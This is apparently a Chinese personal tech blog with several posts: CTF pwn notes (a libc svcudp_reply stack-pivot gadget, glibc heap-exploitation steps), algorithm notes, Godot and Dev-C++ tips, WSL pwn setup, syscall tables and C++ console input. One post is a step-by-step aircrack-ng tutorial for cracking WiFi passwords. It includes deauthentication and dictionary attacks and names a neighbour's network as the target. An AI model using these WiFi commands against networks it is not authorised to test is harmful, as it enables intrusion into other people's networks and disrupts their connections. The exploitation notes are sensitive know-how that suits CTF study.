借助svcudp进行栈迁移

Mon May 05 2025 08:57:32 GMT+0800


在libc.so.6文件中存在一个被去符号的函数——svcudp_reply,它含有如下gadget:

mov     rbp, [rdi+48h]          ; 写入rbp的地址
mov     rax, [rbp+18h]          ; 确保rbp+0x18的位置,是leave ; ret的.text地址的地址-0x28(有点拗口)
lea     r13, [rbp+10h]
mov     dword ptr [rbp+10h], 0  ; 确保rbp+0x10位置可写
mov     rdi, r13
call    qword ptr [rax+28h]     ; 调用leave ; ret

在IDA中可以通过搜索汇编指令搜索到,推荐搜索以下两条指令,它们的搜索结果是最少的:

mov     rbp, [rdi+48h]
lea     r13, [rbp+10h]

在rdi可控且写入数据的地址可获得的情况下,可以借助此gadget栈迁移到任意位置。

在只能执行一个函数的情况下,十分适合使用此方法,继续执行ROP调用更多函数。

堆漏洞利用方法整理

Thu May 01 2025 14:56:19 GMT+0800


参考文献

Fastbin利用

名称 利用步骤
Fastbin Dup
# Glibc 2.39

Tcache利用

名称 利用步骤

Small/Large Bin利用

名称 利用步骤

House of 系列

名称 利用步骤
House of Apple1
House of Apple2
House of Botcake
# Glibc 2.39
Step 1:分配出9个Size相同且大于0x80的 Chunk(可能需要多一个使其与Top Chunk分隔开)
Step 2:释放7个Chunk,填满对应的Tcache Bin
Step 3:释放第8个Chunk(Chunk A),进入Unosrted Bin
Step 4:释放第9个Chunk(Chunk B),将会引发Chunk A与Chunk B合并
Step 5:从该大小的Tcache Bin中分配出1个Chunk,给Double Chun B让位
Step 6:再次释放Chunk B,进入Tcache
Finish:此时Chunk B同时存在于Unsorted Bin与Tcache中
House of Einherjar
House of Force
House of Gods
House of Lore
House of Mind Fastbin
House of Orange
# Glibc 2.23
# 无free()函数
Step 1:堆溢出修改Top Chunk的Size为较小值
Step 2:创建一个Size大于Top Chunk的Size的空间,这样Top Chunk就会被Free进Unsorted Bin
Step 3:堆溢出修改这个Unsorted Bin的内容:
(1) 写入/bin/sh\x00
(2) 修改 Unsorted Bin的大小为0x60(也可以为其他值,但是要找得到位置)
(3) Unsorted Bin的bk指针为_IO_list_all-0x10(??)
(4) 构造合理的IO_FILE结构通过判断
(5) 构造vtable,写入想要执行的函数
Step 4:分配这个Unsorteed Bin
House of Roman
House of Spirit
House of Storm
House of Tangerine
House of Water

树链剖分

Fri Apr 11 2025 09:15:58 GMT+0800


算法目的

维护静态树上的路径信息

算法流程

分两次DFS预处理出以下关键值:

DFS 含义 获得方式
1 father[x] x在树中的父亲 在dfs传参中获得
1 dep[x] x在树中的深度 在dfs传参中获得
1 size[x] x为根的子树大小 在dfs传递归中获得
1 son[x] x的重儿子编号 在dfs传递归中获得
2 top[x] x所在的重路径的顶部结点编号 top[重儿子]=top[自己]
top[轻儿子]=轻儿子
2 seg[x] x在线段树中的位置 按照先访问重儿子的顺序先序遍历树,使得每条重链上的节点在线段树上保持相邻
2 rev[y] y在树中的结点编号 这个简单

线段树的建树和查询的实现就只需按一般的做法

树链的查询

void ask (int x, int y)
{
    int fx = top[x],fy = top[y];
    while(fx != fy)                            //直到两个点在同一条重链上
    {
        if(dep[fx] < dep[fy])                 //选择深度大的往上跳
            swap(x, y),swap(fx, fy);
        query(1, 1, seg[0], seg[fx], seg[x]);    
        x = father[fx]; fx=top[x];
    }
    if(dep[x] > dep[y])                     //先序遍历导致:在同一棵子树上深度大的点在线段树中的位置靠后
        swap(x, y);
    query(1, 1, seg[0], seg[x], seg[y])        //而seg[x]<=seg[y]故dep[x]<=dep[y]
}

学习使用世界上最好的godot游戏引擎

Thu Mar 13 2025 20:03:03 GMT+0800


图形编辑器

2D

模式 快捷键 描述
选择模式 Q Ctrl+拖动:围绕轴心旋转选中节点。
Alt+拖动:移动选中节点。
Ctrl+Alt+Drag:缩放选中节点V:设置选中节点的轴心位置。
Alt+右键:显示点击位置的所有节点列表,包含已锁定节点。
右键:在点击位置添加节点。
移动模式 W
旋转模式 E
缩放模式 R Shift:按比例缩放。
节点选择
修改轴心 点击修改对象的旋转轴心。
Shift:设置临时旋转轴心。
按住 Shift 点击该按钮可以将旋转轴心放置到所选节点的中心。
平移模式 G 你还可以使用平移视图快捷键(默认为空格)在任何模式下平移
标尺模式 R
使用智能吸附 Shift + S 开关智能吸附。
使用栅格吸附 Shift + G 开关栅格吸附。
吸附选项
锁定所选节点 Ctrl + L 锁定选定的节点,防止选择和移动。
编组所选节点 Ctrl + G 将所选节点与其子节点组合。这样在 2D 和 3D 视图中点击子节点就会选中父节点。

设置窗口大小:项目->项目设置->常规->显示->窗口->大小->视口宽/高度

节点的渲染顺序为树的深度优先遍历,同级按从上到下的顺序,后渲染的覆盖之前渲染的。

轴心点也叫中心点,用来给节点定位

锚点用来描述节点相对于父节点的位置

3D

还没学捏~

素材

图片素材

图片的切割:在检查器中勾选Region->Enabled[],然后点击下方“编辑区域”即可切割
图片的合并:在文件系统中选择多张图片,点击导入,导入为“TextureAtlas”

GDscript

GDscript是一个非常类似于Python的脚本语言

在wsl中搭建pwn环境

Tue Feb 11 2025 12:13:41 GMT+0800


玩linux的少不了系统重装,每次装系统都要配环境,故记录下环境配置的过程,方便再次查阅,也可以i在

GPG报错的解决方案

最近不管在安装Kali的时候,不管装的是vmware、wsl、live boot,在使用apt update的时候都会出现如下错误:

apt update
#Get:1 http://kali.download/kali kali-last-snapshot InRelease [41.5 kB]
#Err:1 http://kali.download/kali kali-last-snapshot InRelease
#  Sub-process /usr/bin/sqv returned an error code (1), error message is: Missing key 827C8569F2518CC677FECA1AED65462EC8D5E4C5, which is needed to verify signature.
#Warning: GPG error: http://kali.download/kali kali-last-snapshot InRelease: Sub-process /usr/bin/sqv returned an error code (1), error message is: Missing key #827C8569F2518CC677FECA1AED65462EC8D5E4C5, which is needed to verify signature.
#Error: The repository 'http://http.kali.org/kali kali-last-snapshot InRelease' is not signed.
#Notice: Updating from such a repository can't be done securely, and is therefore disabled by default.
#Notice: See apt-secure(8) manpage for repository creation and user configuration details.
# 解决方法:
sudo wget https://archive.kali.org/archive-keyring.gpg -O /usr/share/keyrings/kali-archive-keyring.gpg

apt、git clone、pip、gem下载速度慢的解决方案

apt换源

vim /etc/apt/sources.list

http://http.kali.org/kali换成http://mirrors.ustc.edu.cn/kali

然后输入apt updateapt upgrade

git加速

git clone的时候把github.com换成bgithub.xyz(校园网环境测试:换之前<50KB/s,换之后>2.5MB/s)

pip限制解除及换源

临时换源

pip install 包名 -i https://pypi.tuna.tsinghua.edu.cn/simple

永久换源

pip config set global.index-url https://mirrors.aliyun.com/pypi/simple

(校园网环境测试:换之前根本连不上,换之后>2.5MB/s)

(有必要也可以把pip换成pip3再执行一次,感觉没什么区别)

gem换源

# 总体来说换源前还勉强能用,可以先跳过
gem sources --remove https://rubygems.org/  
gem sources -a https://gems.ruby-china.com/   
gem sources -l        

动态调试工具——gdb & pwndbg

apt install gdb
apt install python3
apt install python3-venv
git clone https://github.com/pwndbg/pwndbg.git
cd pwndbg
./setup.sh # 执行时最好使用流量,而不是校园网,我在使用校园网安装时报错了

安装完成后一定不要删除、移动pwndbg的setup源码,可以专门找一个文件夹给他放起来。

gadget查找工具——ROPgadget & one_gadget

# ROPgadget
git clone https://github.com/JonathanSalwan/ROPgadget.git
cd ROPgadget
python3 setup.py install
# one_gadget
apt install ruby
gem install one_gadget

安装完成后可以删除git源码

一些可以用apt快速安装的工具

apt install tmux
apt install python3-pwntools
apt install checksec

最后附上WSL快捷使用的查询

版权所有 (c) Microsoft Corporation。保留所有权利。
有关此产品的隐私信息,请访问 https://aka.ms/privacy。

用法: wsl.exe [参数] [选项...][命令行]

运行 Linux 二进制文件的参数:

    如果未提供命令行,wsl.exe 将启动默认 shell。

    --exec, -e <CommandLine> 在不使用默认 Linux shell 的情况下执行指定的命令。
    --shell-type <standard|login|none> 使用提供的 shell 类型执行指定的命令。
    --  按原样传递剩余的命令行。
选项:
    --cd <Directory>
        将指定目录设置为当前工作目录。
        如果使用 ~,则将使用 Linux 用户的主路径。如果路径以
        / 字符开始,它将解释为绝对 Linux 路径。
        否则,该值必须是绝对 Windows 路径。
    --distribution, -d <Distro> 运行指定的分发版。
    --user, -u <UserName> 以指定用户身份运行。
    --system 为系统分发版启动 shell。

用于管理适用于 Linux 的 Windows 子系统的参数:

    --help 显示使用情况信息。
    --debug-shell 出于诊断目的打开 WSL2 调试 shell。
    --install [发行版] [选项...]
        安装适用于 Linux 的 Windows 子系统分发版。
        有关有效分发版的列表,请使用 'wsl.exe --list --online'。
        选项:
            --no-launch, -n 安装后不要启动分发版。
            --web-download 从 Internet 而不是 Microsoft Store 下载分发版。
            --no-distribution 仅安装所需的可选组件,不安装分发版。
            --enable-wsl1 启用 WSL1 支持。
    --manage <Distro> <Options...> 更改发行版特定选项。
        选项:
            --move <Location> 将分发移到新位置。
            --set-sparse, -s <true|false> 将发行版的 vhdx 设置为稀疏,从而允许自动回收磁盘空间。
    --mount <Disk> 在所有 WSL 2 分发版中附加和装载物理磁盘或虚拟磁盘。
        选项:
            --vhd 指定 <Disk> 引用虚拟硬盘。
            --bare 将磁盘附加到 WSL2,但不要装载它。
            --name <Name> 使用装入点的自定义名称装载磁盘。
            --type <Type> 装载磁盘时要使用的文件系统(如果未指定)默认为 ext4。
            --options <Options>  其他装载选项。
            --partition <Index> 要装载的分区的索引(如果未指定)默认为整个磁盘。
    --set-default-version <Version> 更改新分发版的默认安装版本。 
    --shutdown 立即终止所有正在运行的分发版和 WSL 2轻型实用工具虚拟机。
    --status 显示适用于 Linux 的 Windows 子系统状态。
    --unmount [磁盘] 从所有 WSL2 分发版中卸载和分离磁盘。
        如果在没有参数的情况下调用,则卸载和分离所有磁盘。
    --uninstall 从此计算机卸载适用于 Linux 的 Windows 子系统包。
    --update 更新适用于 Linux 的 Windows 子系统包。
        选项:
            --pre-release
                下载预发行版本(如果可用)。
    --version, -v 显示版本信息。

用于在适用于 Linux 的 Windows 子系统中管理分发版的参数:

    --export <Distro> <FileName> [选项]
        将分发版导出到 tar 文件。
        文件名可以是 - for stdout。
        选项:
            --vhd
                指定应将分发版导出为 .vhdx 文件。
    --import <Distro> <InstallLocation> <FileName> [选项]
        将指定的 tar 文件作为新分发版导入。
        文件名可以是 - for stdin。
        选项:
            --version <Version>
                指定要用于新分发的版本。
            --vhd
                指定所提供的文件是 .vhdx 文件,而不是 tar 文件。
                此操作在指定的安装位置创建 .vhdx 文件的副本。
    --import-in-place <Distro> <FileName>
        将指定的 .vhdx 文件作为新分发版导入。
        必须使用 ext4 文件系统类型设置此虚拟硬盘的格式。
    --list, -l [选项] 列出分发版。
        选项:
            --all 列出所有分发版,包括当前正在安装或卸载的分发版。
            --running 仅列出当前正在运行的分发版。
            --quiet, -q 仅显示分发版名称。
            --verbose, -v 显示有关所有分发版的详细信息。
            --online, -o 显示适合通过 'wsl --install' 安装的可用分发版列表。
    --set-default, -s <Distro> 将分布版设置为默认值。
    --set-version <Distro> <Version>  更改指定分发版的版本。
    --terminate, -t <Distro> 终止指定的分发版。
    --unregister <Distro> 取消注册分发版并删除根文件系统。

命令很多,有用的就那几个:

wsl --list -v # 查看已安装的虚拟机的详细信息
wsl --unregister <Distro> # 彻底删除一个wsl虚拟机
wsl --export <Distro> <FileName.vhdx> --vhd #导出一个wsl虚拟机 (一般vhd比tar大)
wsl --import <Distro> <InstallLocation> <Filename.vhdx> --vhd #导入一个wsl虚拟机
wsl --set-default <Distro> # 设置默认启动的wsl虚拟机

Linux系统调用号表

Sun Dec 15 2024 20:30:56 GMT+0800


32位

函数 调用号 函数 调用号 函数 调用号 函数 调用号 函数 调用号 函数 调用号
restart_syscall 0 getpgrp 65 get_kernel_syms 130 stat64 195 timer_delete 263 epoll_create1 329
exit 1 setsid 66 quotactl 131 lstat64 196 clock_settime 264 dup3 330
fork 2 sigaction 67 getpgid 132 fstat64 197 clock_gettime 265 pipe2 331
read 3 sgetmask 68 fchdir 133 lchown32 198 clock_getres 266 inotify_init1 332
write 4 ssetmask 69 bdflush 134 getuid32 199 clock_nanosleep 267 preadv 333
open 5 setreuid 70 sysfs 135 getgid32 200 statfs64 268 pwritev 334
close 6 setregid 71 personality 136 geteuid32 201 fstatfs64 269 rt_tgsigqueueinfo 335
waitpid 7 sigsuspend 72 afs_syscall 137 getegid32 202 tgkill 270 perf_event_open 336
creat 8 sigpending 73 setfsuid 138 setreuid32 203 utimes 271 recvmmsg 337
link 9 sethostname 74 setfsgid 139 setregid32 204 fadvise64_64 272 fanotify_init 338
unlink 10 setrlimit 75 _llseek 140 getgroups32 205 vserver 273 fanotify_mark 339
execve 11 getrlimit 76 getdents 141 setgroups32 206 mbind 274 prlimit64 340
chdir 12 getrusage 77 _newselect 142 fchown32 207 get_mempolicy 275 name_to_handle_at 341
time 13 gettimeofday 78 flock 143 setresuid32 208 set_mempolicy 276 open_by_handle_at 342
mknod 14 settimeofday 79 msync 144 getresuid32 209 mq_open 277 clock_adjtime 343
chmod 15 getgroups 80 readv 145 setresgid32 210 mq_unlink 278 syncfs 344
lchown 16 setgroups 81 writev 146 getresgid32 211 mq_timedsend 279 sendmmsg 345
break 17 select 82 getsid 147 chown32 212 mq_timedreceive 280 setns 346
oldstat 18 symlink 83 fdatasync 148 setuid32 213 mq_notify 281 process_vm_readv 347
lseek 19 oldlstat 84 _sysctl 149 setgid32 214 mq_getsetattr 282 process_vm_writev 348
getpid 20 readlink 85 mlock 150 setfsuid32 215 kexec_load 283 kcmp 349
mount 21 uselib 86 munlock 151 setfsgid32 216 waitid 284 finit_module 350
umount 22 swapon 87 mlockall 152 pivot_root 217 add_key 286 sched_setattr 351
setuid 23 reboot 88 munlockall 153 mincore 218 request_key 287 sched_getattr 352
getuid 24 readdir 89 sched_setparam 154 madvise 219 keyctl 288 renameat2 353
stime 25 mmap 90 sched_getparam 155 getdents64 220 ioprio_set 289 seccomp 354
ptrace 26 munmap 91 sched_setscheduler 156 fcntl64 221 ioprio_get 290 getrandom 355
alarm 27 truncate 92 sched_getscheduler 157 gettid 224 inotify_init 291 memfd_create 356
oldfstat 28 ftruncate 93 sched_yield 158 readahead 225 inotify_add_watch 292 bpf 357
pause 29 fchmod 94 sched_get_priority_max 159 setxattr 226 inotify_rm_watch 293 execveat 358
utime 30 fchown 95 sched_get_priority_min 160 lsetxattr 227 migrate_pages 294 socket 359
stty 31 getpriority 96 sched_rr_get_interval 161 fsetxattr 228 openat 295 socketpair 360
gtty 32 setpriority 97 nanosleep 162 getxattr 229 mkdirat 296 bind 361
access 33 profil 98 mremap 163 lgetxattr 230 mknodat 297 connect 362
nice 34 statfs 99 setresuid 164 fgetxattr 231 fchownat 298 listen 363
ftime 35 fstatfs 100 getresuid 165 listxattr 232 futimesat 299 accept4 364
sync 36 ioperm 101 vm86 166 llistxattr 233 fstatat64 300 getsockopt 365
kill 37 socketcall 102 query_module 167 flistxattr 234 unlinkat 301 setsockopt 366
rename 38 syslog 103 poll 168 removexattr 235 renameat 302 getsockname 367
mkdir 39 setitimer 104 nfsservctl 169 lremovexattr 236 linkat 303 getpeername 368
rmdir 40 getitimer 105 setresgid 170 fremovexattr 237 symlinkat 304 sendto 369
dup 41 stat 106 getresgid 171 tkill 238 readlinkat 305 sendmsg 370
pipe 42 lstat 107 prctl 172 sendfile64 239 fchmodat 306 recvfrom 371
times 43 fstat 108 rt_sigreturn 173 futex 240 faccessat 307 recvmsg 372
prof 44 olduname 109 rt_sigaction 174 sched_setaffinity 241 pselect6 308 shutdown 373
brk 45 iopl 110 rt_sigprocmask 175 sched_getaffinity 242 ppoll 309 userfaultfd 374
setgid 46 vhangup 111 rt_sigpending 176 set_thread_area 243 unshare 310 membarrier 375
getgid 47 idle 112 rt_sigtimedwait 177 get_thread_area 244 set_robust_list 311 mlock2 376
signal 48 vm86old 113 rt_sigqueueinfo 178 io_setup 245 get_robust_list 312 copy_file_range 377
geteuid 49 wait4 114 rt_sigsuspend 179 io_destroy 246 splice 313 preadv2 378
getegid 50 swapoff 115 pread64 180 io_getevents 247 sync_file_range 314 pwritev2 379
acct 51 sysinfo 116 pwrite64 181 io_submit 248 tee 315
umount2 52 ipc 117 chown 182 io_cancel 249 vmsplice 316
lock 53 fsync 118 getcwd 183 fadvise64 250 move_pages 317
ioctl 54 sigreturn 119 capget 184 exit_group 252 getcpu 318
fcntl 55 clone 120 capset 185 lookup_dcookie 253 epoll_pwait 319
mpx 56 setdomainname 121 sigaltstack 186 epoll_create 254 utimensat 320
setpgid 57 uname 122 sendfile 187 epoll_ctl 255 signalfd 321
ulimit 58 modify_ldt 123 getpmsg 188 epoll_wait 256 timerfd_create 322
oldolduname 59 adjtimex 124 putpmsg 189 remap_file_pages 257 eventfd 323
umask 60 mprotect 125 vfork 190 set_tid_address 258 fallocate 324
chroot 61 sigprocmask 126 ugetrlimit 191 timer_create 259 timerfd_settime 325
ustat 62 create_module 127 mmap2 192 timer_settime 260 timerfd_gettime 326
dup2 63 init_module 128 truncate64 193 timer_gettime 261 signalfd4 327
getppid 64 delete_module 129 ftruncate64 194 timer_getoverrun 262 eventfd2 328

64位

函数 调用号 函数 调用号 函数 调用号 函数 调用号 函数 调用号 函数 调用号
read 0 getsockopt 55 getppid 110 mount 165 semtimedop 220 splice 275
write 1 clone 56 getpgrp 111 umount2 166 fadvise64 221 tee 276
open 2 fork 57 setsid 112 swapon 167 timer_create 222 sync_file_range 277
close 3 vfork 58 setreuid 113 swapoff 168 timer_settime 223 vmsplice 278
stat 4 execve 59 setregid 114 reboot 169 timer_gettime 224 move_pages 279
fstat 5 exit 60 getgroups 115 sethostname 170 timer_getoverrun 225 utimensat 280
lstat 6 wait4 61 setgroups 116 setdomainname 171 timer_delete 226 epoll_pwait 281
poll 7 kill 62 setresuid 117 iopl 172 clock_settime 227 signalfd 282
lseek 8 uname 63 getresuid 118 ioperm 173 clock_gettime 228 timerfd_create 283
mmap 9 semget 64 setresgid 119 create_module 174 clock_getres 229 eventfd 284
mprotect 10 semop 65 getresgid 120 init_module 175 clock_nanosleep 230 fallocate 285
munmap 11 semctl 66 getpgid 121 delete_module 176 exit_group 231 timerfd_settime 286
brk 12 shmdt 67 setfsuid 122 get_kernel_syms 177 epoll_wait 232 timerfd_gettime 287
rt_sigaction 13 msgget 68 setfsgid 123 query_module 178 epoll_ctl 233 accept4 288
rt_sigprocmask 14 msgsnd 69 getsid 124 quotactl 179 tgkill 234 signalfd4 289
rt_sigreturn 15 msgrcv 70 capget 125 nfsservctl 180 utimes 235 eventfd2 290
ioctl 16 msgctl 71 capset 126 getpmsg 181 vserver 236 epoll_create1 291
pread64 17 fcntl 72 rt_sigpending 127 putpmsg 182 mbind 237 dup3 292
pwrite64 18 flock 73 rt_sigtimedwait 128 afs_syscall 183 set_mempolicy 238 pipe2 293
readv 19 fsync 74 rt_sigqueueinfo 129 tuxcall 184 get_mempolicy 239 inotify_init1 294
writev 20 fdatasync 75 rt_sigsuspend 130 security 185 mq_open 240 preadv 295
access 21 truncate 76 sigaltstack 131 gettid 186 mq_unlink 241 pwritev 296
pipe 22 ftruncate 77 utime 132 readahead 187 mq_timedsend 242 rt_tgsigqueueinfo 297
select 23 getdents 78 mknod 133 setxattr 188 mq_timedreceive 243 perf_event_open 298
sched_yield 24 getcwd 79 uselib 134 lsetxattr 189 mq_notify 244 recvmmsg 299
mremap 25 chdir 80 personality 135 fsetxattr 190 mq_getsetattr 245 fanotify_init 300
msync 26 fchdir 81 ustat 136 getxattr 191 kexec_load 246 fanotify_mark 301
mincore 27 rename 82 statfs 137 lgetxattr 192 waitid 247 prlimit64 302
madvise 28 mkdir 83 fstatfs 138 fgetxattr 193 add_key 248 name_to_handle_at 303
shmget 29 rmdir 84 sysfs 139 listxattr 194 request_key 249 open_by_handle_at 304
shmat 30 creat 85 getpriority 140 llistxattr 195 keyctl 250 clock_adjtime 305
shmctl 31 link 86 setpriority 141 flistxattr 196 ioprio_set 251 syncfs 306
dup 32 unlink 87 sched_setparam 142 removexattr 197 ioprio_get 252 sendmmsg 307
dup2 33 symlink 88 sched_getparam 143 lremovexattr 198 inotify_init 253 setns 308
pause 34 readlink 89 sched_setscheduler 144 fremovexattr 199 inotify_add_watch 254 getcpu 309
nanosleep 35 chmod 90 sched_getscheduler 145 tkill 200 inotify_rm_watch 255 process_vm_readv 310
getitimer 36 fchmod 91 sched_get_priority_max 146 time 201 migrate_pages 256 process_vm_writev 311
alarm 37 chown 92 sched_get_priority_min 147 futex 202 openat 257 kcmp 312
setitimer 38 fchown 93 sched_rr_get_interval 148 sched_setaffinity 203 mkdirat 258 finit_module 313
getpid 39 lchown 94 mlock 149 sched_getaffinity 204 mknodat 259 sched_setattr 314
sendfile 40 umask 95 munlock 150 set_thread_area 205 fchownat 260 sched_getattr 315
socket 41 gettimeofday 96 mlockall 151 io_setup 206 futimesat 261 renameat2 316
connect 42 getrlimit 97 munlockall 152 io_destroy 207 newfstatat 262 seccomp 317
accept 43 getrusage 98 vhangup 153 io_getevents 208 unlinkat 263 getrandom 318
sendto 44 sysinfo 99 modify_ldt 154 io_submit 209 renameat 264 memfd_create 319
recvfrom 45 times 100 pivot_root 155 io_cancel 210 linkat 265 kexec_file_load 320
sendmsg 46 ptrace 101 _sysctl 156 get_thread_area 211 symlinkat 266 bpf 321
recvmsg 47 getuid 102 prctl 157 lookup_dcookie 212 readlinkat 267 execveat 322
shutdown 48 syslog 103 arch_prctl 158 epoll_create 213 fchmodat 268 userfaultfd 323
bind 49 getgid 104 adjtimex 159 epoll_ctl_old 214 faccessat 269 membarrier 324
listen 50 setuid 105 setrlimit 160 epoll_wait_old 215 pselect6 270 mlock2 325
getsockname 51 setgid 106 chroot 161 remap_file_pages 216 ppoll 271 copy_file_range 326
getpeername 52 geteuid 107 sync 162 getdents64 217 unshare 272 preadv2 327
socketpair 53 getegid 108 acct 163 set_tid_address 218 set_robust_list 273 pwritev2 328
setsockopt 54 setpgid 109 settimeofday 164 restart_syscall 219 get_robust_list 274

带你玩转DEV-C++

Thu Oct 31 2024 15:04:15 GMT+0800


头记

鉴于使用原版DEV-C++不得不说十分滞后,人家Visual Studio多高端,本人写下此文章,使用一些奇技淫巧,美化和增强此IDE,个人认为可以和Visual Studio相媲美

样式美化

预览

  1. 点击顶部菜单栏工具

  2. 点击下拉列表中的编译器选项

  3. 点击新弹出的窗口中的基本

  4. 取消勾选高亮显示当前行,或者后面你再选择你喜欢的颜色。

  5. 点击还是这个窗口中的语法(和“基本”在同一排)

  6. 选择预设为 Obsidian,保存一下再进行以下修改

  7. 修改以下几个地方:(都只改前景和样式,背景不改,改完记得点确定)

Preprocessor: (自定义)红136+绿99+蓝173+下划线

Reserved Word: (自定义)红106+绿185+蓝255+下划线

Identifier: Silver

String:(自定义)红255+绿128+蓝128

Symbol:(自定义)同上String

取消完成符号(个人喜好)

  1. 点击顶部菜单栏工具->点击编译器选项

  2. 点击新弹出的窗口中的代码补全

  3. 点击完成符号

  4. 取消勾选启用符号配对

编译选项优化

  1. 点击顶部菜单栏工具

  2. 点击下拉列表中的编译选项

  3. 点击新弹出的窗口中的代码生成/优化

  4. 点击代码警告

  5. 显示最多警告信息(-Wall)为Yes

  6. (有必要的可以设“显示所有警告为错误(-Werror)”为Yes)

像这样

使用自己的mingw-w64

(Dev-C++ 5.11自带的mingw-w64的版本才4.9.2,我们可以使用自己最新版的mingw-w64,目前是8.1.0)

  1. mingw-w64的下载安装教程,在这里

  2. 打开Dev-C++过程中一定不要关闭

  3. 打开你Dev-C++安装的位置(默认在C:\Program Files (x86)\Dev-Cpp)

  4. 用你的MinGW64覆盖掉自带的MinGW64的文件夹

  5. 然后点击Dev-C++菜单栏 文件 -> 编译选项 -> 点击 目录

  6. 点击C包含文件C++包含文件

  7. 把里面路径所有的4.9.2换成8.1.0(即你所用的版本)

  8. 然后重新打开Dev-C++进行配置

修改样例(修改后点击替换):

:如果你过程中关闭了Dev-C++重新打开时他会提示你“路径无效,是否删除无效路径”请选择,不然你的许多头文件会用不了

接下来配置一下

  • 点击Dev-C++菜单栏 文件 -> 编译选项 点击上方两个加号处

  • 点击Yes或No,点击Yes就会清空原有列表,点击No就会保留原来列表,建议清空(建议点击Yes)

  • 如果会生成一个新列表,说明配置成功了,像这样


格式化修改

  1. 点击顶部菜单栏AStyle

  2. 点击下拉列表中的格式化选项

  3. 选择选项——括号风格为Allman(个人喜欢)(默认的Java也还行)

  4. 在编辑代码的时候按Ctrl+Shift+A就可以自动格式化啦

预览

设置透明编辑器

预览

  1. 点击这里下载Glass2k程序

  2. 解压并打开Glass2k.exe(怎么都是英文的?!别怕)

  3. 如果没有显示界面那就看看任务栏右下角有没有三个箱子堆起来的图标,右键点Settings

  4. 有三个勾选框,简单翻译一下,第一个是开机启动,第二个是记住透明度设置,第三个是深度使用该软件(建议勾选第二和第三个)(下面那个蓝蓝的条是用来设置任务栏的透明度的)

  5. 接下来为了避免鼠标按键冲突,设置Right Click: + Ctrl + Shift

  6. 然后打开DEV-C++,按着Ctrl + Shift + 右键点击DEV-C++窗口的任意地方,就会出现一个列表,选择你想要的透明度就可以啦(建议设置80%)

  • 可以按照下图修改

预览

(PS:这个软件也可以用在其他一些地方哦,如:浏览器,文件夹等)

一些快捷键

  1. f9编译,f10运行,f11编译运行(这个应该不用我多说)

  2. f5调试(记得把设定编译器配置改为TDM-GCC 4.9.2 64-bit Debug),F7下一步,F8单步进入(这个应该也不用我多说)

  3. Ctrl+f11全屏/取消全屏,样例:

  4. 当你打开了两个文件时,让你的页面停留在一个文件,按Ctrl+M就可以把另一个文件在新的页面打开,样例:

最后

Dev-C++跟目前的主流代码编辑器相比已被拉开巨大的差距,但

文章到此就结束了,还在持续更新,给个赞再走呗

kali+无线网卡破解wifi密码

Fri Jul 26 2024 17:39:06 GMT+0800


虚拟机+无线网卡(推荐)

材料准备

  1. 安装有kali虚拟机的电脑,最好别用wsl(会有一些莫名其妙的错误)
  2. 无线网卡一枚(最好免驱),网购约30元,我使用的是mt7601u
  3. 字典(自己生成或者网上下载如Top100)
  4. 邻居家的wifi

将无线网卡连接至虚拟机

请务必先打开kali虚拟机后,后将无线网卡插上电脑。

这样在VMwwre中才会出现一个弹窗“检测到新的usb设备”选择“连接到虚拟机”,选中你的虚拟机点确定

打开终端,输入ifconfig,如果列出的表中有wlan0,则说明无线网卡已经成功连接到kali虚拟机中

 2024-11-28 190541.png

开启监听模式

开启网卡监听(注意下面图片中的monitor mode enable,表示监听模式启动)

airmon-ng start wlan0

 2024-11-28 190808.png

扫描附近的wifi,搜索到你要破解的wifi的名字时,及时按下空格暂停扫描,以免扫描的东西不见了,也方便复制:

airodump-ng wlan0
BSSID CH ESSID
wifi的网卡 信道 wifi的名字

 2024-11-28 191752.png

这时候最好不要按Ctrl+C退出上一步,最好是再打开一个控制台窗口,查看wifi连接的设备

airodump-ng --bssid <BSSID> -c <CH> -w <文件名不用自己加后缀> wlan0

抓包

aireplay-ng -0 2 -a <BSSID> -c <STATION> wlan0

参数说明:-0抓取包的个数,-a路由器MAC,-c用户MAC

破解wifi密码,跑包,如果密码字典中有密码,即可破解成功

aircrack-ng -w <字典路径> <文件名不用自己加后缀>

停止监听

airmon stop wlan0

WSL+无线网卡(无效)

使用USBIPD将无线网卡绑定到WSL

参考文档:Microsoft-连接USB设备

你有两种方式安装usbipd

第一种,在GitHub发布页中下载https://github.com/dorssel/usbipd-win/releases,下载usbipd-win_x.x.x.msi,然后安装即可

第二种,如果你的Windows有安装winget,那么可以通过输入命令来安装

winget install --interactive --exact dorssel.usbipd-win

安装好usbipd后,打开powershell(以管理员模式打开),先别着急打开wsl

确保你的无线网卡插入了电脑后,输入查看

usbipd list 

 2024-11-28 140241.png

我们可以看到,我的无线网卡名称为802.11n USB Wireless LAN Card,它的BUSID2-1

接下来输入命令使无线网卡处于共享状态

usbipd bind --busid <busid> 

 2024-11-28 140719.png

通过后面的命令我们可以看到,我的无线网卡已经处于Shared的状态,那我们就可以将其绑定到WSL中(在此之前需要先打开WSL,否则可能会报错):

usbipd attach --wsl --busid <busid>

 2024-11-28 141405.png

这里附一条解除绑定的命令(别乱输啊),不过官方文档是说也可以通过物理移除的方式(通俗的讲就是直接拔):

usbipd detach --busid <busid>

到此,你的Windows可能会弹出一条移除设备的信息,并且在Windows下的WLAN也看不到了两张网卡,这是正常现象,它说明你已经成功的将无线网卡添加到了WSL中。

我们不妨进一步进行验证 。切换到WSL的窗口,输入lsusb可以查看接入的USB:

 2024-11-28 141854.png

其中的Ralink Technology, Corp. MT7601U Wireless Adapter就是我的网卡,显然,USB添加成功了。

但是,输入ifconfig查看,好家伙没有无线网。。。(好吧,我承认到此我不会了

Windows+无线网卡

Aircrack-ng官网下载工具,Windows版本包含以下工具

命令(有用的) 功能
airbase-ng
aircrack-ng 最后破解:破解WEP以及WPA(字典攻击)密钥
airdecap-ng
airdecloak-ng
aireplay-ng
airodump-ng 数据包嗅探:将无线网络数据输送到PCAP或IVS文件并显示网络信息
airserv-ng

用C++读取鼠标在控制台上的操作

Fri Jul 07 2023 18:18:51 GMT+0800


与读取键盘信息类似,读取鼠标信息也是通过 ReadConsoleInput 函数来实现

咱先说一下需要用到的头文件:

#include <windows.h>

响应鼠标点击事件的变量类型

INPUT_RECORD

咱先介绍一下ReadConsoleInput这个函数

typedef struct _MOUSE_EVENT_RECORD { 
        COORD dwMousePosition;        // 当前鼠标位置
        DWORD dwButtonState;        // 鼠标按钮状态
        DWORD dwControlKeyState;    // 键盘控制键状态
        DWORD dwEventFlags;         // 事件状态
} MOUSE_EVENT_RECORD;
//这个东西一般都在"INPUT_RECORD的变量名.Event.MouseEvent.以上变量"

1.第一个参数存放鼠标的位置信息,类型为 COORD 坐标类型;

